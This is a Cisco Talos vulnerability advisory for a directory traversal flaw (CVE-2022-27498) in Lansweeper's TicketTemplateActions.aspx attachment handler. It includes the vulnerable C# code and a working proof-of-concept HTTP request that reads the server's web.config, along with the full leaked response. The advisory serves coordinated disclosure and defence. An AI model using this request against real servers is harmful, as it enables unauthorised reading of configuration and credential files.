Talos Vulnerability Report

TALOS-2022-1531

Lansweeper lansweeper TicketTemplateActions.aspx GetTemplateAttachment directory traversal vulnerability

December 1, 2022
CVE Number

CVE-2022-27498

SUMMARY

A directory traversal vulnerability exists in the TicketTemplateActions.aspx GetTemplateAttachment functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Lansweeper lansweeper 10.1.1.0

PRODUCT URLS

lansweeper - https://www.lansweeper.com/

CVSSv3 SCORE

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

DETAILS

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.

An exploitable directory traversal vulnerability is related with an action: Helpdesk -> choose any ticket -> Template [editor window] -> Edit any template and is located inside \LS\CF\Helpdesk\TicketTemplateActions.cs file. Let us take a close look at the vulnerable source code:

Line 19			private static void GetTemplateAttachment(HttpContext c)
Line 20			{
Line 21				try
Line 22				{
Line 23					if (!User.Current().IsInRole(Permission.EditConfiguration) && !User.Current().IsAgent())
Line 24					{
Line 25						throw new CustomException("Access denied");
Line 26					}
Line 27					string fileuid = c.Request["fileuid"].Trim();
Line 28					int num = int.Parse(c.Request["templateid"]);
Line 29					string path = LSFolder.HelpdeskTemplateFiles.GetPath();
Line 30					string text2 = $"{path.TrimEnd('\\')}\\_{num}_{fileuid}";
Line 31					if (!File.Exists(text2))
Line 32					{
Line 33						throw new CustomException("file not found on fileserver...");
Line 34					}
Line 35					c.Response.Clear();
Line 36					c.Response.AddHeader("Content-Disposition", "attachment; filename=\"" + fileuid + "\"");
Line 37					c.Response.ContentType = "application/octet-stream";
Line 38					c.Response.TransmitFile(text2);
Line 39					c.Response.Flush();		

When a user is trying to edit the ticket template, the above code is responsible for reading all included attachments in that template. fileuid is a variable representing part of filename which should be read at line 27 and returned to the user. Because an attacker can fully control fileuid, and there is a lack of any sanitization in a context of directory traversal, we can jump out of the default path helpdesk template files at line 30 and read any file on the server.

Exploit Proof of Concept

REQUEST

GET /helpdesk/TicketTemplateActions.aspx?action=gettemplateattachment&fileuid=..\..\..\..\web.config&templateid=2 HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: image/avif,image/webp,*/*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.0.102:81/helpdesk/Ticket.aspx?tid=22
Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=; __RequestVerificationToken_Lw__=zP2evPOU4gLNF/pF3R1XPsIP7ceImHsHKoqy7GfYwDnIwHnDJKt3r5+0bFTXNS/XpEAiyEFBVT2ekfSLIPgVMULtvi8Ae4qLSYcUO0UH90vcERUKMi72E3I2yEJexWSyNKlA8gcXlfMPYbc0a94Dji44b2cNn4aS0KGOSUQBn/0=

RESPONSE

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
Content-Disposition: attachment; filename="..\..\..\..\web.config"
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 08 Jun 2022 07:49:02 GMT
Connection: close
Content-Length: 5325

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <configSections>
        <section name="featureToggles" type="System.Configuration.AppSettingsSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
    </configSections>
    <featureToggles></featureToggles>
    <appSettings>
        <add key="DirectoryJS" value="js/release/"/>
        <add key="DirectoryCSS" value="css/"/>
        <add key="aspnet:MaxJsonDeserializerMembers" value="990000"/>
        <add key="HdUpdateThread" value="1"/>
    </appSettings>
    <connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">
  <EncryptedData>
   <CipherData>
    <CipherValue>AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA31f9e/ZQ4kKBRCakjPYZswQAAAACAAAAAAAQZgAAAAEAACAAAADHiSF/lzluyvw7Lx88aWP0YcJz96SHNANFVZyH9VYLeAAAAAAOgAAAAAIAACAAAABdVGpiG5NeQIsMrZWl5UxXE2bmTAKTQCbtBRphzgXkYOACAADIdJ1gVyXQ+GywixA+DJ6q4yux1jEg3jRLpyFOnLlaZ4ZZ5dp94/HqA9plP5HPftaBinrcP99FSDwGi9CmnU58Behn0AGaU52Pw2UyiQprE8C679JejGlM9FqYQu6gyNPkzQdg1pzk6enJqBcJkLsQEHsJuZz0h7+Goh7faP4CI3qv6yQO/E3hqCZ3E4PibFZ1wWRUKFxA4azzhPaGzCJuohNT1B5QmBitgIRNUEpC8ZYTGanGaelaVdmQqYK13sxHuD6YUxOMGmvqjCdrVjioONvodc3LIX+16Tio9/Gew4E0edgfamp3Wg+5nL2045cKwT4StVtGLF42rkBq4zxq8CSnyiFw0YRH0fvGHL4h0A5aMvsWOVsCRc9Ri6tpPETSeXwdhUkScwterWVtX4Uf8mBneYxWpsIaf7Wc4jwV8LfWuhHvo+j4nSdoMPKnPeFE8I6FcfqDq2aAqHAf+XBBhMNAvHSWdgJ8UZDJx6AEu2RKvWy/eUf9DSJXsxy+umirDLTs0N6WK0XmsTqyYo89HYHBZZrUYKssiitXA3YJPXgJxbmXacO14GKRXRSQKo7TgrhRFRQjKdeT6XU4AZI99qlpX2ShiNfDbAZY+LJEJ9H+sGw2SI7iINlv6nBF5IJUgNnPsCUrHC0aqMmJuKOyZFrNMhMipci+af8pGGI62DOjXYznoFQ/SH7bWTPeE29YYux7gMeqFwVsXdmbIiy6j6cdwIiYZRda56TmffUkfIWLWI3KHwCt7nMBva0D55liKsmRU5ERvxMB4a9jTI/zs6NuCznJTBCN7GCOBbmUuENK5yxQCNEFhzrU/dFdCO0ABD/7A+wCuJOkTYOnjSGdybfOC/o4vNzc9TM7flJEKVwL4p7wsqSisTa7XX27VHOmzQzLPltkCmDc6l0572o03iEvqArTlqtboo9sgsI9qPLveEDW/tysSe+bjd5A1W9jhzRwU6hvMMUi+MCDyP8OQAAAAF4tuT8k20AfzCREvqjQ/I4bhkuoGi2FXPL0rGfTovef2uDhcytpOlA6mDeCsCWtDWb/2qzUB1VRPhVs4QIvfKo=</CipherValue>
   </CipherData>
  </EncryptedData>
 </connectionStrings>
    <runtime>
        <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
            <dependentAssembly>
                <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral"/>
                <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0"/>
            </dependentAssembly>
            <dependentAssembly>
                <assemblyIdentity name="log4net" publicKeyToken="669e0ddf0bb1aa2a" culture="neutral"/>
                <bindingRedirect oldVersion="0.0.0.0-2.0.8.0" newVersion="2.0.8.0"/>
            </dependentAssembly>
        </assemblyBinding>
    </runtime>
    <system.web>
        <httpRuntime maxRequestLength="201900" executionTimeout="600" requestValidationMode="2.0"/>
        <authentication mode="Windows"/>
        <identity impersonate="false"/>
        <compilation debug="true" defaultLanguage="C#" strict="false" explicit="true" targetFramework="4.0">
            <assemblies>
                <remove assembly="Microsoft.VisualStudio.Web.PageInspector.Loader, Version=1.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
                <remove assembly="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <remove assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <remove assembly="System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <remove assembly="System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <remove assembly="System.DirectoryServices.AccountManagement, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <add assembly="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <add assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <add assembly="System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <add assembly="System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
                <add assembly="System.DirectoryServices.AccountManagement, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
            </assemblies>
        </compilation>
    </system.web>
    <system.webServer>
        <validation validateIntegratedModeConfiguration="false"/>
        <security>
            <requestFiltering>
                <verbs allowUnlisted="true">
                    <add verb="TRACE" allowed="false"/>
                    <add verb="OPTIONS" allowed="false"/>
                </verbs>
                <hiddenSegments>
                    <add segment="templatefiles"/>
                </hiddenSegments>
                <requestLimits maxAllowedContentLength="1147483648"/>
            </requestFiltering>
        </security>
        <httpErrors errorMode="Custom">
            <remove statusCode="404"/>
            <error statusCode="404" path="/404.aspx" responseMode="ExecuteURL"/>
            <remove statusCode="500"/>
            <error statusCode="500" path="/500.aspx" responseMode="ExecuteURL"/>
        </httpErrors>
        <staticContent>
            <clientCache cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00"/>
        </staticContent>
    </system.webServer>
    <location path="api.aspx">
        <system.webServer>
            <security>
                <authentication>
                    <anonymousAuthentication enabled="true"/>
                </authentication>
            </security>
        </system.webServer>
        <system.web>
            <authorization>
                <allow users="*"/>
            </authorization>
        </system.web>
    </location>
</configuration>
TIMELINE

2022-06-27 - Vendor Disclosure
2022-11-29 - Vendor Patch Release
2022-12-01 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.